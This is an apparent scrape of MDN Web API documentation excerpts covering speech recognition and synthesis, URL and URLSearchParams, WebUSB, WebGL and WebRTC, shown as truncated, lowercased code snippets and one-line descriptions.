bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgrammarlist(); speechrecognitionlist.addfromstring(grammar, 1); recognition.grammars = speechrecognitionlist; //recognition.continuous = false; recognition.lang = 'en-us'; recognition.interimresults = false; recognition.maxalternatives = 1; ...
SpeechRecognition: nomatch event - Web APIs
bubbles no cancelable no interface speechrecognitionevent event handler property onnomatch examples you can use the nomatch event in an addeventlistener method: var recognition = new webkitspeechrecognition() || new speechrecognition(); recognition.addeventlistener('nomatch', function() { console.log('speech not recognized'); }); or use the onnomatch event handler property: recognition.onnomatch = function() { console.log('speech not recognized'); } specifications specification status comment web speech apithe definition of 'speech recognition...
SpeechRecognition.onaudioend - Web APIs
}; examples var recognition = new speechrecognition(); recognition.onaudioend = function() { console.log('audio capturing ended'); } specifications specification status comment web speech apithe definition of 'onaudioend' in that specification.
SpeechRecognition.onaudiostart - Web APIs
}; examples var recognition = new speechrecognition(); recognition.onaudiostart = function() { console.log('audio capturing started'); } specifications specification status comment web speech apithe definition of 'onaudiostart' in that specification.
SpeechRecognition.onend - Web APIs
}; examples var recognition = new speechrecognition(); recognition.onend = function() { console.log('speech recognition service disconnected'); } specifications specification status comment web speech apithe definition of 'onend' in that specification.
SpeechRecognition.onerror - Web APIs
}; examples var recognition = new speechrecognition(); recognition.onerror = function(event) { console.log('speech recognition error detected: ' + event.error); } specifications specification status comment web speech apithe definition of 'onerror' in that specification.
SpeechRecognition.onnomatch - Web APIs
}; examples var recognition = new speechrecognition(); recognition.onnomatch = function() { console.log('speech not recognised'); } specifications specification status comment web speech apithe definition of 'onnomatch' in that specification.
SpeechRecognition: result event - Web APIs
you can use the result event in an addeventlistener method: var recognition = new webkitspeechrecognition() || new speechrecognition(); recognition.addeventlistener('result', function(event) { var color = event.results[0][0].transcript; diagnostic.textcontent = 'result received: ' + color + '.'; bg.style.backgroundcolor = color; }); or use the onresult event handler property: recognition.onresult = function(event) { var color = event.results[0][0].transcript; dia...
SpeechRecognition.serviceURI - Web APIs
examples var recognition = new speechrecognition(); recognition.serviceuri = 'http://www.example.com'; ...
SpeechRecognition: soundend event - Web APIs
bubbles no cancelable no interface event event handler property onsoundend examples you can use the soundend event in an addeventlistener method: var recognition = new webkitspeechrecognition() || new speechrecognition(); recognition.addeventlistener('soundend', function(event) { console.log('sound has stopped being received'); }); or use the onsoundend event handler property: recognition.onsoundend = function(event) { console.log('sound has stopped being received'); } specifications specification status comment web speech apithe definition of 'speech recognition ...
SpeechRecognition: soundstart event - Web APIs
bubbles no cancelable no interface event event handler property onsoundstart examples you can use the soundstart event in an addeventlistener method: var recognition = new webkitspeechrecognition() || new speechrecognition(); recognition.addeventlistener('soundstart', function() { console.log('some sound is being received'); }); or use the onsoundstart event handler property: recognition.onsoundstart = function() { console.log('some sound is being received'); } specifications specification status comment web speech apithe definition of 'speech recognition events' in that s...
SpeechRecognition: speechend event - Web APIs
bubbles no cancelable no interface event event handler property onspeechend examples you can use the speechend event in an addeventlistener method: var recognition = new webkitspeechrecognition() || new speechrecognition(); recognition.addeventlistener('speechend', function() { console.log('speech has stopped being detected'); }); or use the onspeechend event handler property: recognition.onspeechend = function() { console.log('speech has stopped being detected'); } specifications specification status comment web speech apithe definition of 'speech recogniti...
SpeechRecognition: speechstart event - Web APIs
bubbles no cancelable no interface event event handler property onspeechstart examples you can use the speechstart event in an addeventlistener method: var recognition = new webkitspeechrecognition() || new speechrecognition(); recognition.addeventlistener('speechstart', function() { console.log('speech has been detected'); }); or use the onspeechstart event handler property: recognition.onspeechstart = function() { console.log('speech has been detected'); } specifications specification status comment web speech apithe definition of 'speech recognition e...
SpeechRecognition.start() - Web APIs
bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgrammarlist(); speechrecognitionlist.addfromstring(grammar, 1); recognition.grammars = speechrecognitionlist; var diagnostic = document.queryselector('.output'); var bg = document.queryselector('html'); document.body.onclick = function() { recognition.start(); console.log('ready to receive a color command.'); } abortbtn.onclick = f...
SpeechRecognition: start event - Web APIs
bubbles no cancelable no interface event event handler property onstart examples you can use the start event in an addeventlistener method: var recognition = new webkitspeechrecognition() || new speechrecognition(); recognition.addeventlistener('start', function() { console.log('speech recognition service has started'); }); or use the onstart event handler property: recognition.onstart = function() { console.log('speech recognition service has started'); } specifications specification status comment web speech apithe defin...
SpeechRecognition.stop() - Web APIs
bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgrammarlist(); speechrecognitionlist.addfromstring(grammar, 1); recognition.grammars = speechrecognitionlist; var diagnostic = document.queryselector('.output'); var bg = document.queryselector('html'); document.body.onclick = function() { recognition.start(); console.log('ready to receive a color command.'); } abortbtn.onclick = f...
SpeechRecognitionError.error - Web APIs
examples var recognition = new speechrecognition(); recognition.onerror = function(event) { console.log('speech recognition error detected: ' + event.error); console.log('additional information: ' + event.message); } ...
SpeechRecognitionError.message - Web APIs
examples var recognition = new speechrecognition(); recognition.onerror = function(event) { console.log('speech recognition error detected: ' + event.error); console.log('additional information: ' + event.message); } ...
SpeechRecognitionError - Web APIs
examples var recognition = new speechrecognition(); recognition.onerror = function(event) { console.log('speech recognition error detected: ' + event.error); console.log('additional information: ' + event.message); } ...
SpeechRecognitionErrorEvent.error - Web APIs
examples var recognition = new speechrecognition(); recognition.onerror = function(event) { console.log('speech recognition error detected: ' + event.error); console.log('additional information: ' + event.message); } specifications specification status comment web speech apithe definition of 'error' in that specification.
SpeechRecognitionErrorEvent.message - Web APIs
examples var recognition = new speechrecognition(); recognition.onerror = function(event) { console.log('speech recognition error detected: ' + event.error); console.log('additional information: ' + event.message); } specifications specification status comment web speech apithe definition of 'message' in that specification.
SpeechRecognitionErrorEvent - Web APIs
examples var recognition = new speechrecognition(); recognition.onerror = function(event) { console.log('speech recognition error detected: ' + event.error); console.log('additional information: ' + event.message); } specifications specification status comment web speech apithe definition of 'speechrecognitionerrorevent' in that specification.
SpeechRecognitionEvent.results - Web APIs
when subsequent result events are fired, interim results may be overwritten by a newer interim result or by a final result — they may even be removed, if they are at the end of the "results" array and the array length decreases.
SpeechSynthesisErrorEvent.error - Web APIs
inputform.onsubmit = function(event) { event.preventdefault(); var utterthis = new speechsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } synth.speak(utterthis); utterthis.onerror = function(event) { console.error('an error has occurred with the speech synthesis: ' + event.e...
SpeechSynthesisErrorEvent - Web APIs
inputform.onsubmit = function(event) { event.preventdefault(); var utterthis = new speechsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } synth.speak(utterthis); utterthis.onerror = function(event) { console.log('an error has occurred with the speech synthesis: ' + event.err...
SpeechSynthesisUtterance.lang - Web APIs
inputform.onsubmit = function(event) { event.preventdefault(); var utterthis = new speechsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } utterthis.lang = 'en-us'; synth.speak(utterthis); inputtxt.blur(); } specifications specification status comment we...
SpeechSynthesisUtterance.onboundary - Web APIs
inputform.onsubmit = function(event) { event.preventdefault(); var utterthis = new speechsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } synth.speak(utterthis); utterthis.onboundary = function(event) { console.log(event.name + ' boundary reached after ' + event.elapsedtime ...
SpeechSynthesisUtterance.onend - Web APIs
inputform.onsubmit = function(event) { event.preventdefault(); var utterthis = new speechsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } synth.speak(utterthis); utterthis.onend = function(event) { console.log('utterance has finished being spoken after ' + event.elapsedtime ...
SpeechSynthesisUtterance.onerror - Web APIs
inputform.onsubmit = function(event) { event.preventdefault(); var utterthis = new speechsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } synth.speak(utterthis); utterthis.onerror = function(event) { console.log('an error has occurred with the speech synthesis: ' + event.err...
SpeechSynthesisUtterance.onmark - Web APIs
inputform.onsubmit = function(event) { event.preventdefault(); var utterthis = new speechsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } synth.speak(utterthis); utterthis.onmark = function(event) { console.log('a mark was reached: ' + event.name); } inputtxt.blur(); } ...
SpeechSynthesisUtterance.onpause - Web APIs
inputform.onsubmit = function(event) { event.preventdefault(); var utterthis = new speechsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } synth.speak(utterthis); utterthis.onpause = function(event) { console.log('speech paused after ' + event.elapsedtime + ' milliseconds.');...
SpeechSynthesisUtterance.onresume - Web APIs
inputform.onsubmit = function(event) { event.preventdefault(); var utterthis = new speechsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } synth.speak(utterthis); utterthis.onresume = function(event) { console.log('speech resumed after ' + event.elapsedtime + ' milliseconds.'...
SpeechSynthesisUtterance.onstart - Web APIs
inputform.onsubmit = function(event) { event.preventdefault(); var utterthis = new speechsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } synth.speak(utterthis); utterthis.onstart = function(event) { console.log('we have started uttering this speech: ' + event.utterance.text...
SpeechSynthesisUtterance.pitch - Web APIs
inputform.onsubmit = function(event) { event.preventdefault(); var utterthis = new speechsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } utterthis.pitch = 1.5; synth.speak(utterthis); inputtxt.blur(); } specifications specification status comment web s...
SpeechSynthesisUtterance.rate - Web APIs
inputform.onsubmit = function(event) { event.preventdefault(); var utterthis = new speechsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } utterthis.rate = 1.5; synth.speak(utterthis); inputtxt.blur(); } specifications specification status comment web sp...
SpeechSynthesisUtterance.text - Web APIs
inputform.onsubmit = function(event) { event.preventdefault(); var utterthis = new speechsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } console.log(utterthis.text); synth.speak(utterthis); inputtxt.blur(); } specifications specification status comment ...
SpeechSynthesisUtterance.voice - Web APIs
inputform.onsubmit = function(event) { event.preventdefault(); var utterthis = new speechsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } synth.speak(utterthis); inputtxt.blur(); } specifications specification status comment web speech apithe definition o...
SpeechSynthesisUtterance.volume - Web APIs
inputform.onsubmit = function(event) { event.preventdefault(); var utterthis = new speechsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } utterthis.volume = 0.5; synth.speak(utterthis); inputtxt.blur(); } specifications specification status comment web ...
SpeechSynthesisVoice - Web APIs
ontent += ' -- default'; } option.setattribute('data-lang', voices[i].lang); option.setattribute('data-name', voices[i].name); voiceselect.appendchild(option); } } populatevoicelist(); if (speechsynthesis.onvoiceschanged !== undefined) { speechsynthesis.onvoiceschanged = populatevoicelist; } inputform.onsubmit = function(event) { event.preventdefault(); var utterthis = new speechsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } utterthis.pitch = pitch.value; utterthis.rate = rate.value; synth.speak(utterthis); utterthis.onpause = function(event) { var char = e...
StaticRange.toRange() - Web APIs
return value a new range object.
Streams API - Web APIs
extensions to other apis request when a new request object is constructed, you can pass it a readablestream in the body property of its requestinit dictionary.
StylePropertyMap.append() - Web APIs
the append() method of the stylepropertymap interface adds a new css declaration to the stylepropertymap with the given property and value.
StylePropertyMap - Web APIs
stylepropertymap.append() adds a new css declaration to the stylepropertymap with the given property and value.
SubmitEvent - Web APIs
constructor submitevent() creates and returns a new submitevent object whose type and other options are configured as specified.
SyncEvent - Web APIs
WebAPISyncEvent
_top"><rect x="306" y="1" width="90" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="351" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">syncevent</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constructor syncevent.syncevent() creates a new syncevent object.
SyncManager - Web APIs
methods syncmanager.register create a new sync registration and return a promise.
Text.replaceWholeText() - Web APIs
the returned node is the current node unless the current node is read only, in which case the returned node is a newly created text node of the same type which has been inserted at the location of the replacement.
Text - Web APIs
WebAPIText
new documents have a single text node for each block of text.
TextDecoder.prototype.decode() - Web APIs
html <p>encoded value: <span id="encoded-value"></span></p> <p>decoded value: <span id="decoded-value"></span></p> javascript const encoder = new textencoder(); const array = encoder.encode('€'); // uint8array(3) [226, 130, 172] document.getelementbyid('encoded-value').textcontent = array; const decoder = new textdecoder(); const str = decoder.decode(array); // string "€" document.getelementbyid('decoded-value').textcontent = str; result specifications specification status comment encodingthe definition of...
TextEncoder.prototype.encode() - Web APIs
examples <p class="source">this is a sample paragraph.</p> <p class="result">encoded result: </p> const sourcepara = document.queryselector('.source'); const resultpara = document.queryselector('.result'); const string = sourcepara.textcontent; const textencoder = new textencoder(); let encoded = textencoder.encode(string); resultpara.textcontent += encoded; specifications specification status comment encodingthe definition of 'textencoder.prototype.encode()' in that specification.
TrackDefault.kinds - Web APIs
the kinds read-only property of the trackdefault interface returns default kinds for an associated sourcebuffer to use when an initialization segment does not contain label information for a new track.
TrackDefault.label - Web APIs
the label read-only property of the trackdefault interface returns the default label for an associated sourcebuffer to use when an initialization segment does not contain label information for a new track.
TrackDefault.language - Web APIs
the language read-only property of the trackdefault interface returns a default language for an associated sourcebuffer to use when an initialization segment does not contain language information for a new track.
TrackDefaultList - Web APIs
constructor trackdefaultlist() constructs and returns a new trackdefaultlist object.
TrackEvent - Web APIs
constructor trackevent() creates and initializes a new trackevent object with the event type specified, as well as optional additional properties.
UIEvent.pageX - Web APIs
WebAPIUIEventpageX
do not look for pagex on any non-mouse events in new code and update existing code as soon as possible.
URL.hostname - Web APIs
WebAPIURLhostname
examples const url = new url('/docs/web/api/url/hostname'); console.log(url.hostname); // logs: 'developer.mozilla.org' specifications specification status comment urlthe definition of 'url.hostname' in that specification.
URL.origin - Web APIs
WebAPIURLorigin
examples const url = new url("blob:https://mozilla.org:443/") console.log(url.origin); // logs 'https://mozilla.org' specifications specification status comment urlthe definition of 'url.origin' in that specification.
URL.searchParams - Web APIs
WebAPIURLsearchParams
examples if the url of your page is https://example.com/?name=jonathan%20smith&age=18 you could parse out the name and age parameters using: let params = (new url(document.location)).searchparams; let name = params.get('name'); // is the string "jonathan smith".
URL.toJSON() - Web APIs
WebAPIURLtoJSON
examples const url = new url("/docs/web/api/url/tostring"); url.tojson(); // should return the url as a string specifications specification status comment urlthe definition of 'tojson()' in that specification.
URL.toString() - Web APIs
WebAPIURLtoString
examples const url = new url("/docs/web/api/url/tostring"); url.tostring(); // should return the url as a string specifications specification status comment urlthe definition of 'stringifier' in that specification.
URLSearchParams.delete() - Web APIs
return value void examples let url = new url('https://example.com?foo=1&bar=2&foo=3'); let params = new urlsearchparams(url.search.slice(1)); // delete the foo parameter.
URLSearchParams.entries() - Web APIs
examples // create a test urlsearchparams object var searchparams = new urlsearchparams("key1=value1&key2=value2"); // display the key/value pairs for(var pair of searchparams.entries()) { console.log(pair[0]+ ', '+ pair[1]); } the result is: key1, value1 key2, value2 specifications specification status comment urlthe definition of 'entries() (see "iterable")' in that specification.
URLSearchParams.forEach() - Web APIs
examples // create a test urlsearchparams object var searchparams = new urlsearchparams("key1=value1&key2=value2"); // log the values searchparams.foreach(function(value, key) { console.log(value, key); }); the result is: value1 key1 value2 key2 specifications specification status comment urlthe definition of 'foreach() (see "iterable")' in that specification.
URLSearchParams.get() - Web APIs
examples if the url of your page is https://example.com/?name=jonathan&age=18 you could parse out the 'name' and 'age' parameters using: let params = new urlsearchparams(document.location.search.substring(1)); let name = params.get("name"); // is the string "jonathan" let age = parseint(params.get("age"), 10); // is the number 18 requesting a parameter that isn't present in the query string will return null: let address = params.get("address"); // null specifications specification status comment urlthe definition o...
URLSearchParams.getAll() - Web APIs
examples let url = new url('https://example.com?foo=1&bar=2'); let params = new urlsearchparams(url.search.slice(1)); //add a second foo parameter.
URLSearchParams.has() - Web APIs
examples let url = new url('https://example.com?foo=1&bar=2'); let params = new urlsearchparams(url.search.slice(1)); params.has('bar') === true; //true specifications specification status comment urlthe definition of 'has()' in that specification.
URLSearchParams.keys() - Web APIs
examples // create a test urlsearchparams object var searchparams = new urlsearchparams("key1=value1&key2=value2"); // display the keys for(var key of searchparams.keys()) { console.log(key); } the result is: key1 key2 specifications specification status comment urlthe definition of 'keys() (see "iterable")' in that specification.
URLSearchParams.sort() - Web APIs
examples // create a test urlsearchparams object var searchparams = new urlsearchparams("c=4&a=2&b=3&a=1"); // sort the key/value pairs searchparams.sort(); // display the sorted query string console.log(searchparams.tostring()); the result is: a=2&a=1&b=3&c=4 specifications specification status comment urlthe definition of 'sort()' in that specification.
URLSearchParams.values() - Web APIs
examples // create a test urlsearchparams object var searchparams = new urlsearchparams("key1=value1&key2=value2"); // display the values for(var value of searchparams.values()) { console.log(value); } the result is: value1 value2 specifications specification status comment urlthe definition of 'values() (see "iterable")' in that specification.
USBAlternateInterface - Web APIs
constructor usbalternateinterface.usbalternateinterface creates a new usbalternateinterface object which will be populated with information about the alternate interface of the provided usbinterface with the given alternate setting number.
USBConfiguration - Web APIs
constructor usbconfiguration.usbconfiguration() creates a new usbconfiguration object which contains information about the configuration on the provided usbdevice with the given configuration value.
USBDevice.opened - Web APIs
WebAPIUSBDeviceopened
let payload = new uint8array([r, g, b]); await usbdevice.controltransferout({ requesttype: 'vendor', recipient: 'device', request: 1, value: 0, index: 0, }, payload); } } specifications specification status comment webusbthe definition of 'opened' in that specification.
USBEndpoint - Web APIs
constructor usbendpoint.usbendpoint creates a new usbendpoint object which will be populated with information about the endpoint on the provided usbaltenateinterface with the given endpoint number and transfer direction.
USBInTransferResult - Web APIs
constructor usbintransferresult.usbintransferresult() creates a new usbintransferresult object with the provided status and data fields.
USBInterface - Web APIs
constructor usbinterface.usbinterface creates a new usbinterface object which will be populated with information about the interface on the provided usbconfiguration with the given interface number.
USBIsochronousInTransferPacket - Web APIs
constructor usbisochronousintransferpacket.usbisochronousintransferpacket() creates a new usbisochronousintransferpacket object with the provided status and data fields.
USBIsochronousInTransferResult - Web APIs
constructor usbisochronousintransferresult.usbisochronousintransferresult() creates a new usbisochronousintransferresult object with the provided packets and data fields.
USBIsochronousOutTransferPacket - Web APIs
constructor usbisochronousouttransferpacket.usbisochronousouttransferpacket() creates a new usbisochronousouttransferpacket object with the provided status and byteswritten fields.
USBIsochronousOutTransferResult - Web APIs
constructor usbisochronousouttransferresult.usbisochronousouttransferresult() creates a new usbisochronousouttransferresult object with the provided packet field.
USBOutTransferResult - Web APIs
constructor usbouttransferresult.usbouttransferresult() creates a new usbouttransferresult object with the provided status and byteswritten fields.
VideoTrackList.onchange - Web APIs
to determine the new state of media's tracks, you'll have to look at their videotrack.selected flags.
WEBGL_compressed_texture_astc - Web APIs
methods this extension exposes one new methods.
WEBGL_depth_texture - Web APIs
constants this extension adds a new constant: ext.unsigned_int_24_8_webgl unsigned integer type for 24-bit depth texture data.
WebGL2RenderingContext.clearBuffer[fiuv]() - Web APIs
examples gl.clearbufferiv(gl.color, 0, new int32array([r, g, b, a])); gl.clearbufferuiv(gl.color, 0, new uint32array([r, g, b, a])); gl.clearbufferfv(gl.color, 0, new float32array([r, g, b, a])); gl.clearbufferfv(gl.color, 0, [0.0, 0.0, 0.0, 0.0]); gl.clearbufferfi(gl.depth_stencil, 0, 1.0, 0); specifications specification status comment webgl 2.0the definition of 'clearbuffer[fiuv]()' in that specification.
WebGL2RenderingContext.copyBufferSubData() - Web APIs
examples var srcbuffer = gl.createbuffer(); var dstbuffer = gl.createbuffer(); var data = new float32array(vertices); var length = vertices.length * 4; gl.bindbuffer(gl.array_buffer, srcbuffer); gl.bufferdata(gl.array_buffer, data, gl.static_draw); gl.bindbuffer(gl.copy_read_buffer, srcbuffer); gl.bindbuffer(gl.array_buffer, dstbuffer); gl.bufferdata(gl.array_buffer, new float32array(length), gl.static_draw); gl.copybuffersubdata(gl.copy_read_buffer, gl.array_buffer, 0, 0, length); s...
WebGL2RenderingContext.fenceSync() - Web APIs
the webgl2renderingcontext.fencesync() method of the webgl 2 api creates a new webglsync object and inserts it into the gl command stream.
WebGL2RenderingContext.getBufferSubData() - Web APIs
examples var buffer = gl.createbuffer(); gl.bindbuffer(gl.array_buffer, buffer); gl.bufferdata(gl.array_buffer, new float32array(vertices), gl.static_draw); var arrbuffer = new arraybuffer(vertices.length * float32array.bytes_per_element); gl.getbuffersubdata(gl.array_buffer, 0, arrbuffer); specifications specification status comment webgl 2.0the definition of 'getbuffersubdata' in that specification.
WebGL2RenderingContext.texImage3D() - Web APIs
// width 1, // height 1, // depth 0, // border gl.rgba, // format gl.unsigned_byte, // type new uint8array([0xff, 0x00, 0x00, 0x00])); // data specifications specification status comment webgl 2.0the definition of 'teximage3d' in that specification.
WebGL2RenderingContext.uniform[1234][uif][v]() - Web APIs
data, v0, v1, v2, v3 a new value to be used for the uniform variable.
WebGLRenderingContext.bindBuffer() - Web APIs
adds new target buffers: gl.copy_read_buffer, gl.copy_write_buffer, gl.transform_feedback_buffer, gl.uniform_buffer, gl.pixel_pack_buffer, gl.pixel_unpack_buffer opengl es 3.0the definition of 'glbindbuffer' in that specification.
WebGLRenderingContext.blendEquation() - Web APIs
the blend equation determines how a new pixel is combined with a pixel already in the webglframebuffer.
WebGLRenderingContext.blendEquationSeparate() - Web APIs
the blend equation determines how a new pixel is combined with a pixel already in the webglframebuffer.
WebGLRenderingContext.bufferSubData() - Web APIs
adds new target buffers: gl.copy_read_buffer, gl.copy_write_buffer, gl.transform_feedback_buffer, gl.uniform_buffer, gl.pixel_pack_buffer, gl.pixel_unpack_buffer.
WebGLRenderingContext.canvas - Web APIs
var offscreen = new offscreencanvas(256, 256); var gl = offscreen.getcontext('webgl'); gl.canvas; // offscreencanvas specifications specification status comment webgl 1.0the definition of 'webglrenderingcontext.canvas' in that specification.
WebGLRenderingContext.getBufferParameter() - Web APIs
adds new target buffers: gl.copy_read_buffer, gl.copy_write_buffer, gl.transform_feedback_buffer, gl.uniform_buffer, gl.pixel_pack_buffer, gl.pixel_unpack_buffer adds new usage hints: gl.static_read, gl.dynamic_read, gl.stream_read, gl.static_copy, gl.dynamic_copy, gl.stream_copy.
WebGLRenderingContext.getProgramParameter() - Web APIs
editor's draft adds new pname values: gl.transform_feedback_buffer_mode, gl.transform_feedback_varyings, gl.active_uniform_blocks ...
WebGLRenderingContext.getRenderbufferParameter() - Web APIs
adds a new pname value: gl.renderbuffer_samples ...
WebGLRenderingContext.getShaderPrecisionFormat() - Web APIs
the webglrenderingcontext.getshaderprecisionformat() method of the webgl api returns a new webglshaderprecisionformat object describing the range and precision for the specified shader numeric format.
WebGLRenderingContext.linkProgram() - Web APIs
examples var program = gl.createprogram(); // attach pre-existing shaders gl.attachshader(program, vertexshader); gl.attachshader(program, fragmentshader); gl.linkprogram(program); if ( !gl.getprogramparameter( program, gl.link_status) ) { var info = gl.getprograminfolog(program); throw new error('could not compile webgl program.
WebGLRenderingContext.readPixels() - Web APIs
examples var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); var pixels = new uint8array(gl.drawingbufferwidth * gl.drawingbufferheight * 4); gl.readpixels(0, 0, gl.drawingbufferwidth, gl.drawingbufferheight, gl.rgba, gl.unsigned_byte, pixels); console.log(pixels); // uint8array specifications specification status comment webgl 1.0the definition of 'readpixels' in that specification.
WebGLRenderingContext.renderbufferStorage() - Web APIs
adds many new internal formats.
WebGLRenderingContext.uniform[1234][fi][v]() - Web APIs
value, v0, v1, v2, v3 a new value to be used for the uniform variable.
WebGLRenderingContext.vertexAttrib[1234]f[v]() - Web APIs
examples const a_foobar = gl.getattriblocation(shaderprogram, 'foobar'); //either set each component individually: gl.vertexattrib3f(a_foobar, 10.0, 5.0, 2.0); //or provide a float32array: const floatarray = new float32array([10.0, 5.0, 2.0]); gl.vertexattrib3fv(a_foobar, floatarray); // we want to load the following 3x3 matrix into attribute named "matrix3x3" // 0 1 2 // 3 4 5 // 6 7 8 const matrix3x3location = gl.getattriblocation(shaderprogram, 'matrix3x3'); gl.vertexattrib3f(matrix3x3location, 0, 3, 6); gl.vertexattrib3f(matrix3x3location + 1, 1, 4, 7); gl.vertexattrib3f(matrix3x3location + 2,...
WebGLRenderingContext.viewport() - Web APIs
however, if you resize the canvas, you will need to tell the webgl context a new viewport setting.
Clearing with colors - Web APIs
gl.clearcolor(0.0, 0.5, 0.0, 1.0); // clear the context with the newly set color.
Hello vertex attributes - Web APIs
gl.useprogram(program); gl.drawarrays(gl.points, 0, 1); document.queryselector("canvas").addeventlistener("click", function (evt) { var clickxrelativtocanvas = evt.pagex - evt.target.offsetleft; var clickxinwebglcoords = 2.0 * (clickxrelativtocanvas- gl.drawingbufferwidth/2) / gl.drawingbufferwidth; gl.bufferdata(gl.array_buffer, new float32array([clickxinwebglcoords]), gl.static_draw); gl.drawarrays(gl.points, 0, 1); }, false); } var buffer; function initializeattributes() { gl.enablevertexattribarray(0); buffer = gl.createbuffer(); gl.bindbuffer(gl.array_buffer, buffer); gl.bufferdata(gl.array_buffer, new float32array([0.0]), gl.static_draw); gl.vertexattribpointer(0, 1, gl.float, false, 0, 0); } windo...
Simple color animation - Web APIs
gl.clearcolor(color[0], color[1], color[2], 1.0); // clear the context with the newly set color.
Textures from code - Web APIs
" + "error log: " + linkerrlog; return; } initializeattributes(); gl.useprogram(program); gl.drawarrays(gl.points, 0, 1); cleanup(); } var buffer; function initializeattributes() { gl.enablevertexattribarray(0); buffer = gl.createbuffer(); gl.bindbuffer(gl.array_buffer, buffer); gl.bufferdata(gl.array_buffer, new float32array([0.0, 0.0]), gl.static_draw); gl.vertexattribpointer(0, 2, gl.float, false, 0, 0); } function cleanup() { gl.useprogram(null); if (buffer) gl.deletebuffer(buffer); if (program) gl.deleteprogram(program); } function getrenderingcontext() { var canvas = document.queryselector("canvas"); canvas.width = canvas.clientwidth; canvas.height = canvas.clientheight; var gl = c...
Compressed texture formats - Web APIs
he correct compressed format const dataarraybuffer = await fetch('/textures/foobar512x512.rgba_s3tc_dxt1') .then(response => response.arraybuffer()); gl.compressedteximage2d(gl.texture_2d, 0, // set the base image level ext.compressed_rgba_s3tc_dxt1_ext, // the compressed format we are using 512, 512, // width, height of the image 0, // border, always 0 new dataview(dataarraybuffer)); gl.generatemipmap(); // create mipmap levels, like we would for a standard image return texture; } } ...
Getting started with WebGL - Web APIs
view the complete code | open this demo on a new page ...
WebGL: 2D and 3D graphics for the web - Web APIs
WebAPIWebGL API
it is based on opengl es 3.0 and new features include: 3d textures, sampler objects, uniform buffer objects, sync objects, query objects, transform feedback objects, promoted extensions that are now core to webgl 2: vertex array objects, instancing, multiple render targets, fragment depth.
Introduction to the Real-time Transport Protocol (RTP) - Web APIs
just like when hold was engaged, this triggers negotiation again, resulting in your code sending a new offer to the remote peer.
Taking still photos with WebRTC - Web APIs
it is the <video> element's source to our new stream.
